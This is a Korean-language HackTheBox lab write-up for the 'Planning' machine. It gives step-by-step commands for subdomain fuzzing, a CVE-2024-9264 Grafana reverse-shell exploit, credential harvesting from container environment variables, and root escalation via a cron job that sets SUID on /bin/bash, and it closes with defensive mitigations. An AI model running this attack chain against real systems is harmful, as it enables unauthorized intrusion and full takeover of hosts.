본문 바로가기
CTF/HTB

Planning [EASY]

Planning — HackTheBox Write-up

   
Platform HackTheBox
Author d00msl4y3r & FisMatHack
Category Web / Docker
Difficulty Easy
OS Linux
Points 20 pts
Release 2025-09-04
Pwned 2025-09-04

이 글을 읽기 전에

이 라이트업은 HTB 입문자를 위해 작성되었습니다.
"어떻게 풀었는가"와 함께 "왜 이렇게 하는가" 를 설명합니다.

아이콘 의미
💡 개념 설명
⚠️ 주의사항
중요 결과 획득
📸 캡처 이미지 위치

필요 역량 / 학습 역량

구분 내용
사전 필요 기본 리눅스 명령어, 웹 브라우저 사용법
이 머신에서 배울 것 서브도메인 퍼징, Grafana CVE 익스플로잇, Docker 탈출, Cron 권한 상승

전체 공격 흐름

[1단계 정찰]    nmap → 22(SSH) · 80(HTTP, nginx)
       ↓
[2단계 열거]    ffuf 서브도메인 퍼징 → grafana.planning.htb
                → Grafana v11.0.0 로그인 (admin:0D5oT70Fq13EvB5r)
       ↓
[3단계 침투]    CVE-2024-9264 PoC → Docker 컨테이너 root 쉘
       ↓
[4단계 이동]    env → enzo:RioTecRANDEntANT! → SSH → user.txt
       ↓
[5단계 권한상승] netstat → 8000포트 → SSH 포트 포워딩
                → crontab.db → P4ssw0rdS0pRi0T3c
                → Crontab UI → chmod u+s /bin/bash → bash -p → root
       ↓
[6단계 플래그]  user.txt + root.txt

사용 도구

단계 도구 역할
정찰 nmap 열린 포트와 서비스 버전 탐지
열거 ffuf 서브도메인 퍼징 (숨겨진 도메인 탐색)
침투 CVE-2024-9264 PoC Grafana DuckDB 취약점 익스플로잇
침투 netcat (nc) 리버스 쉘 연결 수신
권한상승 ssh -L 내부 서비스 포트 포워딩

목차

  1. 환경 설정
  2. 정찰
  3. 서비스 열거
  4. 침투
  5. 횡적 이동
  6. 권한 상승
  7. 플래그
  8. 정리

1. 환경 설정

목적: 공격에 필요한 기본 정보를 정리하고 작업 환경을 준비합니다.

접속 정보

Target IP   : 10.129.32.222     ← 공격 대상 머신
Attacker IP : 10.10.14.220      ← 내 HTB VPN IP
Hostname    : planning.htb
Subdomain   : grafana.planning.htb

① VPN 연결 확인

💡 HTB VPN이란?
HackTheBox 머신은 인터넷에 공개되어 있지 않습니다.
HTB에서 제공하는 VPN 파일(*.ovpn)로 연결해야만 타겟과 통신할 수 있습니다.
sudo openvpn 파일명.ovpn 으로 연결 후 아래 명령으로 IP를 확인합니다.

ifconfig tun0 | grep 'inet ' | awk '{print $2}'
# 출력: 10.10.14.220

② 타겟 연결 확인

ping -c 3 10.129.32.222
# 응답이 오면 타겟과 통신 가능한 상태

③ 작업 디렉토리 생성

💡 머신 이름으로 폴더를 만들어 결과 파일을 체계적으로 관리합니다.

mkdir -p Planning/{nmap,gobuster,exploits,loot}
cd Planning

④ 호스트명 등록

💡 /etc/hosts 란?
DNS 서버에 묻기 전에 컴퓨터가 먼저 참고하는 로컬 주소록 파일입니다.
브라우저가 planning.htb 를 입력받으면 이 파일에서 IP를 찾습니다.
여기에 등록하지 않으면 브라우저가 도메인을 찾지 못합니다.

# 처음부터 두 도메인을 한 줄에 등록합니다
# (나중에 grafana 서브도메인이 발견되면 이 줄을 아래로 교체하면 됩니다)
echo "10.129.32.222 planning.htb grafana.planning.htb" | sudo tee -a /etc/hosts

2. 정찰

목적: 타겟에서 열린 포트와 실행 중인 서비스를 파악합니다.
포트 = 공격자가 진입할 수 있는 문. 어떤 문이 열려 있는지 먼저 확인합니다.

2-1. 전체 포트 스캔

💡 포트란?
하나의 서버에서 여러 서비스를 구분하는 번호입니다.
22번(SSH) = 원격 접속, 80번(HTTP) = 웹, 443번(HTTPS) = 보안 웹 등.
1번부터 65535번까지 있으며 먼저 전체를 빠르게 훑어봅니다.

# 전체 포트 스캔 후 열린 포트 번호만 추출해 변수에 저장
ports=$(nmap -p- --min-rate=1000 -T4 10.129.32.222 -oN nmap/allports.txt \
  | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')

echo $ports
# 출력: 22,80

2-2. 상세 서비스 스캔

# 열린 포트만 정밀 분석
nmap -p$ports -sC -sV 10.129.32.222 -oN nmap/detailed.txt

💡 nmap 옵션 설명

옵션 의미
-p$ports 발견된 포트만 스캔 (시간 절약)
-sC 기본 스크립트 실행 (배너, 버전 등 자동 수집)
-sV 서비스 버전 탐지
-oN 결과를 파일로 저장

스캔 결과:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)

2-3. 포트 요약

Port Service 버전 다음 행동
22/tcp SSH OpenSSH 9.6p1 크레덴셜 확보 후 재시도
80/tcp HTTP nginx 1.24.0 브라우저 접속 → 웹 탐색 시작

관찰: 80번 포트에 접속하면 http://planning.htb 로 302 리다이렉트됩니다.
/etc/hosts 에 등록했으니 브라우저에서 접속 가능합니다.


3. 서비스 열거

목적: 웹 서비스를 탐색하고 숨겨진 서브도메인과 공격 표면을 발굴합니다.

3-1. 웹 메인 페이지 분석

브라우저에서 http://planning.htb 접속합니다.

온라인 강의 플랫폼(EDUKATE)이 나타납니다.
메뉴, 소스코드, 로그인 폼 등을 확인해도 뚜렷한 취약점이 보이지 않습니다.

# 기술 스택 자동 탐지
whatweb http://planning.htb

메인 페이지에서 단서가 없으므로 숨겨진 서브도메인을 탐색합니다.

3-2. 서브도메인 퍼징 — ffuf

💡 서브도메인(Subdomain)이란?
grafana.planning.htb 처럼 메인 도메인 앞에 붙는 접두사입니다.
같은 IP에 여러 서브도메인이 있을 수 있고, 각각 다른 서비스를 제공합니다.
브라우저는 Host: 헤더로 어떤 서비스를 요청하는지 서버에 알려줍니다.

💡 ffuf 서브도메인 퍼징 원리
Host: FUZZ.planning.htb 처럼 FUZZ 자리에 단어 목록을 하나씩 대입해서
서버의 응답 크기가 다른 경우를 찾습니다.
응답이 다르다 = 그 서브도메인이 실제로 존재한다는 뜻입니다.

Step 1 — 초기 실행 (노이즈 파악):

ffuf \
  -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H 'Host: FUZZ.planning.htb' \
  -u http://planning.htb \
  -c

모든 응답이 동일한 크기 178 바이트 → 전부 거짓 양성(false positive)입니다.

💡 거짓 양성이란?
서버가 모든 요청에 똑같은 응답(178 바이트)을 보내면
존재하지 않는 서브도메인도 "발견된 것"처럼 보입니다.
이때 -fs 178 옵션으로 178 바이트 응답을 모두 제거하면
진짜로 다른 응답 = 실제로 존재하는 서브도메인만 남습니다.

Step 2 — 노이즈 제거 (-fs 178):

ffuf \
  -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H 'Host: FUZZ.planning.htb' \
  -u http://planning.htb \
  -c \
  -fs 178
grafana   [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 57ms]

 

발견: grafana.planning.htb — 응답 크기 29 바이트로 다름 → 유효한 서브도메인!

확인: 환경 설정 단계에서 이미 grafana.planning.htb 까지 등록했습니다.
등록하지 않았다면 아래 명령으로 추가합니다.

# (아직 등록하지 않은 경우만)
echo "10.129.32.222 planning.htb grafana.planning.htb" | sudo tee -a /etc/hosts

3-3. Grafana 로그인 및 버전 확인

브라우저에서 http://grafana.planning.htb 접속합니다.

💡 Grafana란?
서버의 메트릭(CPU 사용량, 트래픽 등)과 로그를 시각화하는 오픈소스 모니터링 플랫폼입니다.
기업 내부 서버 모니터링에 자주 사용됩니다.

문제에서 제공된 크레덴셜로 로그인합니다.

Username : admin
Password : 0D5oT70Fq13EvB5r

로그인 후 우측 상단 Help 아이콘(?) → 버전 확인:

Grafana v11.0.0 (83b9528bce)

3-4. 버전 취약점 분석

Grafana v11.0.0 을 검색하면 알려진 취약점 CVE-2024-9264가 발견됩니다.

CVE CVSS 영향 버전 설명
CVE-2024-9264 9.4 Grafana ≤ 11.0.x DuckDB CLI 경유 원격 코드 실행(RCE)

💡 CVE-2024-9264 원리 (쉽게 설명)

Grafana v11.0.0에는 SQL Expression이라는 실험 기능이 있습니다.
이 기능은 사용자가 입력한 SQL 쿼리를 DuckDB 라는 프로그램에 보냅니다.

문제는 입력값을 아무 검증 없이 그대로 전달한다는 점입니다.
공격자가 SQL 쿼리 안에 운영체제 명령어를 숨기면 서버가 그대로 실행합니다.

예를 들어 DuckDB의 파일 읽기 함수(read_text())나
COPY TO 구문에 OS 명령을 삽입하면 서버에서 임의 명령이 실행됩니다.
PoC 스크립트는 이 방식으로 리버스 쉘 페이로드를 전달합니다.


4. 침투

목적: CVE-2024-9264를 이용해 Grafana 서버에 리버스 쉘을 획득합니다.

⚠️ 아래 기술은 허가된 환경(HTB, CTF 등)에서만 사용합니다.

4-1. 취약점 분석 요약

항목 내용
대상 http://grafana.planning.htb
취약점 CVE-2024-9264 — DuckDB SQL 인젝션 (RCE)
조건 DuckDB 설치 여부 (PoC 실행으로 확인)
크레덴셜 admin:0D5oT70Fq13EvB5r

4-2. 리버스 쉘 준비

💡 리버스 쉘(Reverse Shell)이란?
타겟 서버가 먼저 내 컴퓨터에 연결하도록 유도하는 기법입니다.
방화벽은 보통 "외부 → 서버" 연결을 차단하지만
"서버 → 외부" 연결은 허용하기 때문에 이 방식을 씁니다.

순서:

  1. 내 컴퓨터에서 nc -lvnp 9001 로 연결 대기
  2. PoC 실행 → 타겟 서버가 내 9001 포트로 연결
  3. 연결되면 서버의 명령줄을 내가 제어

터미널 1 — 리스너 실행 (연결 대기):

nc -lvnp 9001
# -l: 리스닝 모드  -v: 연결 상태 출력  -n: DNS 없이 IP 직접  -p: 포트 지정

터미널 2 — PoC 스크립트 다운로드:

git clone https://github.com/nollium/CVE-2024-9264.git
cd CVE-2024-9264
pip install -r requirements.txt --break-system-packages

4-3. PoC 실행 — 리버스 쉘 트리거

Step 1 — PoC 실행:

python3 poc.py \
  --url http://grafana.planning.htb \
  --username admin \
  --password 0D5oT70Fq13EvB5r \
  --reverse-ip 10.10.14.220 \
  --reverse-port 9001

PoC 실행 결과:

[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 9001

Step 2 — 터미널 1(nc 리스너)에서 연결 수신:

listening on [any] 9001 ...
connect to [10.10.14.220] from (UNKNOWN) [10.129.32.222] 41562

# id
uid=0(root) gid=0(root) groups=0(root)

# pwd
/usr/share/grafana

Initial Shell 획득

⚠️ 중요: id 가 root를 반환하지만 이것은 Docker 컨테이너 안의 root 입니다.
실제 호스트 시스템이 아닙니다!

Step 3 — Docker 컨테이너 확인:

hostname
7ce659d667d7

💡 Docker 컨테이너란?
서버 안에서 독립적으로 실행되는 가상의 격리된 환경입니다.
컨테이너 안에서는 root여도 호스트 시스템 파일에 직접 접근할 수 없습니다.
hostname 결과가 숫자·문자 조합의 해시값이면 Docker 컨테이너입니다.
컨테이너를 탈출해서 진짜 호스트 시스템에 접근해야 합니다.


5. 횡적 이동

목적: Docker 컨테이너 안에서 호스트 계정(enzo)으로 이동해 user.txt를 획득합니다.

5-1. 환경 변수에서 크레덴셜 탐색

💡 환경 변수(Environment Variable)란?
프로그램 실행 시 전달하는 설정값입니다.
Docker 컨테이너는 설정파일 대신 환경 변수로 DB 비밀번호, 관리자 계정 등을 전달하는 경우가 많습니다.
개발 편의를 위해 보안보다 설정 간편함을 택한 결과 민감한 정보가 노출됩니다.

Docker 컨테이너 내부에서 env 명령으로 모든 환경 변수를 확인합니다.

env
GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_HOME=/usr/share/grafana
...

발견: GF_SECURITY_ADMIN_USER=enzo / GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
Grafana 관리자 설정으로 넣어둔 enzo 계정 정보가 평문으로 노출되어 있습니다.

크레덴셜 #1 획득 (enzo)

계정 패스워드 출처
enzo RioTecRANDEntANT! Docker 환경 변수(env)

5-2. 패스워드 재사용 — SSH 접속 시도

💡 패스워드 재사용이란?
같은 패스워드를 여러 서비스에 사용하는 것입니다.
Docker 컨테이너의 enzo 패스워드가 호스트 시스템의 enzo 계정에도 동일하게 쓰일 수 있습니다.
새 계정/서비스를 발견하면 항상 기존 크레덴셜을 먼저 시도합니다.

# 컨테이너 밖 호스트 SSH에 enzo 패스워드로 접속 시도
ssh enzo@planning.htb
# 패스워드 입력: RioTecRANDEntANT!
enzo@planning:~$

패스워드 재사용 성공! Docker 컨테이너와 호스트에 동일한 패스워드 사용 확인.

5-3. user.txt 획득

enzo@planning:~$ cat user.txt

User Flag 획득 🚩


6. 권한 상승

목적: enzo 계정에서 최고 관리자 root 권한을 획득해 root.txt를 읽습니다.

6-L. Linux 권한 상승

6-L-1. 로컬 열거

① sudo 권한 확인 — 가장 먼저 확인:

sudo -l
Sorry, user enzo may not run sudo on planning.

sudo 권한 없음 → 다른 벡터를 탐색합니다.

② 내부에서만 열린 서비스 탐색:

💡 netstat -tulnp 란?
현재 서버에서 실행 중인 네트워크 서비스 목록을 보여줍니다.
외부(nmap)에서는 보이지 않는 내부 서비스(127.0.0.1 바인딩)도 확인할 수 있습니다.

enzo@planning:~$ netstat -tulnp
Proto  Local Address        State    PID/Program
tcp    0.0.0.0:80           LISTEN   -           ← 웹 서버 (공개)
tcp    127.0.0.1:3306       LISTEN   -           ← MySQL (내부)
tcp    127.0.0.1:3000       LISTEN   -           ← Grafana (내부)
tcp    127.0.0.1:8000       LISTEN   -           ← ??? (내부, 미확인!)
tcp    127.0.0.1:33060      LISTEN   -
tcp6   :::22                LISTEN   -           ← SSH (공개)

발견: 127.0.0.1:8000 — 내부에서만 접근 가능한 알 수 없는 서비스!
외부 nmap으로는 보이지 않았습니다. 포트 포워딩으로 직접 접근해야 합니다.

③ /opt 디렉토리 탐색:

💡 /opt 는 운영체제가 기본 제공하지 않는 추가 설치 소프트웨어 디렉토리입니다.
관리자가 직접 설치한 커스텀 애플리케이션이 여기에 있습니다.

enzo@planning:~$ ls -la /opt
total 16
drwxr-xr-x  4 root root 4096 Feb 28 2025 .
drwxr-xr-x 22 root root 4096 Apr  3 14:40 ..
drwx--x--x  4 root root 4096 Feb 28 2025 containerd
drwxr-xr-x  2 root root 4096 Sep  1 09:21 crontabs   ← 읽기 가능!

crontabs 디렉토리를 enzo가 읽을 수 있습니다.

enzo@planning:/opt/crontabs$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Sep  1 09:21 .
drwxr-xr-x 4 root root 4096 Feb 28 2025 ..
-rw-r--r-- 1 root root  461 Sep  1 09:21 crontab.db

crontab.db 파일이 있습니다. 내용을 확인합니다.

enzo@planning:/opt/crontabs$ cat crontab.db
{"name":"Grafana backup",
 "command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
 "schedule":"@daily","_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup",
 "command":"/root/scripts/cleanup.sh",
 "schedule":"* * * * *","_id":"gNIRXh1WIc9K7BYX"}

발견 1: zip -P P4ssw0rdS0pRi0T3c — zip 파일 암호화 패스워드가 명령줄에 그대로 노출됩니다.

발견 2: Cleanup 크론이 /root/scripts/cleanup.sh 를 매 분(* * * * *) 실행합니다.
Crontab UI 서비스 자체가 root 권한으로 실행되므로,
이 UI에서 만드는 모든 Cron 작업도 root 권한으로 실행됩니다.

크레덴셜 #2 획득 (root)

계정 패스워드 출처
root P4ssw0rdS0pRi0T3c crontab.db zip -P 평문 하드코딩

6-L-2. SSH 포트 포워딩 → 내부 서비스 접근

💡 SSH 포트 포워딩이란?
SSH 연결을 터널로 사용해 접근할 수 없는 포트를 내 로컬로 가져오는 방법입니다.
ssh -L 8000:127.0.0.1:8000 enzo@planning.htb 를 실행하면
내 컴퓨터의 8000 포트 → 타겟 서버의 127.0.0.1:8000 으로 연결됩니다.
이후 내 브라우저에서 http://127.0.0.1:8000 에 접속하면 타겟 내부 서비스를 볼 수 있습니다.

새 터미널을 열고 실행합니다.

ssh -L 8000:127.0.0.1:8000 enzo@planning.htb
# 패스워드: RioTecRANDEntANT!
# 연결 유지 (창 닫지 말 것)

브라우저에서 http://127.0.0.1:8000 접속 → 로그인 폼 확인.

crontab.db 에서 찾은 크레덴셜로 로그인합니다.

Username : root
Password : P4ssw0rdS0pRi0T3c

💡 Crontab UI란?
Cron 작업(주기적으로 자동 실행되는 명령)을 웹 UI로 관리하는 애플리케이션입니다.
Cleanup Cron이 /root/scripts/cleanup.sh* * * * * (매 분마다) 실행합니다.
이 서비스가 root 계정으로 실행되므로, 여기서 새 Cron을 생성하면 root 권한으로 실행됩니다.

6-L-3. Cron을 통한 SUID bash 설정 → root 쉘

💡 SUID(Set User ID)란?
파일 실행 시 파일 소유자의 권한으로 실행되도록 하는 특별한 권한 비트입니다.
/bin/bash 의 소유자는 root입니다.
chmod u+s /bin/bash 로 SUID 비트를 설정하면
누구든지 bash -p 로 실행할 때 root 권한의 bash를 얻을 수 있습니다.

Step 1 — Crontab UI에서 새 작업 생성:

브라우저 Crontab UI → New 버튼 클릭:

Command : chmod u+s /bin/bash

스케줄은 Minute·Hour·Day·Month·Week 각 필드에 * 을 입력하거나
Quick Schedule에서 원하는 주기를 선택합니다 (매 분 실행 = * * * * *).

Save 클릭.

Step 2 — Run Now 버튼으로 즉시 실행:

기다리지 않고 Run Now 버튼을 클릭합니다.

Step 3 — enzo SSH 세션에서 SUID 확인:

enzo@planning:/opt/crontabs$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash

rws 에서 s = SUID 비트가 설정됨 ✅

💡 -rwsr-xr-x 해석

  • -rws: 소유자(root)의 읽기·쓰기·실행 권한, s = SUID 설정
  • r-x: 그룹의 읽기·실행 권한
  • r-x: 다른 사용자의 읽기·실행 권한

단, bash는 보안상 SUID를 자동으로 무시하므로 반드시 bash -p 로 실행해야 합니다.
-p 없이 bash 만 실행하면 일반 권한으로 시작됩니다.

Step 4 — bash -p 로 root 쉘 획득:

enzo@planning:/opt/crontabs$ bash -p
bash-5.2# whoami
root

bash-5.2# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)

💡 bash -p-p 플래그
보통 bash를 실행하면 SUID 권한을 자동으로 일반 유저로 낮춥니다(보안을 위해).
-p 옵션은 이 강등을 막고 root euid(유효 UID)를 유지합니다.

📸 bash -p로 root 쉘 획득 성공

Root 획득


7. 플래그

User Flag — enzo SSH 세션:

enzo@planning:~$ cat user.txt

Root Flag — root 쉘:

bash-5.2# cat /root/root.txt

 

  Flag
🚩 user.txt 획득한 플래그 값 입력
🚩 root.txt 획득한 플래그 값 입력

8. 정리

크레덴셜 흐름

# 계정 패스워드 출처 사용처
1 admin 0D5oT70Fq13EvB5r 문제 제공 Grafana 로그인
2 enzo RioTecRANDEntANT! Docker env 환경 변수 평문 노출 SSH 접속 (패스워드 재사용)
3 root P4ssw0rdS0pRi0T3c crontab.db zip -P 평문 하드코딩 Crontab UI 로그인

Attack Chain

[Recon]    nmap 10.129.32.222 → 22/SSH · 80/HTTP nginx
    ↓
[Enum]     ffuf -fs 178 → grafana.planning.htb 발견
           Grafana v11.0.0 → CVE-2024-9264 확인
    ↓
[Exploit]  python3 poc.py --reverse-ip 10.10.14.220 --reverse-port 9001
           → nc 리스너 수신 → Docker root 쉘
    ↓
[Lateral]  env → enzo:RioTecRANDEntANT! → ssh enzo@planning.htb
           → user.txt 🚩
    ↓
[PrivEsc]  netstat → 127.0.0.1:8000
           ssh -L 8000:127.0.0.1:8000 → Crontab UI
           crontab.db → P4ssw0rdS0pRi0T3c → root 로그인
           New Cron: chmod u+s /bin/bash → Run Now
           bash -p → root
    ↓
[Flags]    user.txt 🚩 + root.txt 🚩

취약점 및 방어 방안

# 취약점 원인 방어 방안
1 CVE-2024-9264 (CVSS 9.4) SQL Expression이 입력값 검증 없이 DuckDB CLI에 전달 Grafana 최신 버전 패치, 실험 기능 비활성화
2 Docker 환경 변수 평문 저장 GF_SECURITY_* 에 크레덴셜 하드코딩 Docker Secrets, HashiCorp Vault 사용
3 크레덴셜 재사용 컨테이너와 호스트 계정에 동일 패스워드 서비스·계정별 고유 패스워드 정책
4 평문 패스워드 하드코딩 명령어 옵션(zip -P)에 패스워드 직접 기재 환경 변수 또는 비밀 관리 도구로 분리
5 Cron root 권한 오남용 일반 유저가 root 권한 Cron을 생성·실행 가능 Crontab UI 접근 제한, 최소 권한 원칙 적용

References


write-up by Elpam.k · elpam.log

'CTF > HTB' 카테고리의 다른 글

Nocturnal  (0) 2026.04.24
Tactics  (0) 2026.04.08
Ignition  (0) 2026.04.07
Pennyworth  (0) 2026.04.06
Funnel  (0) 2026.04.06

Discussion 0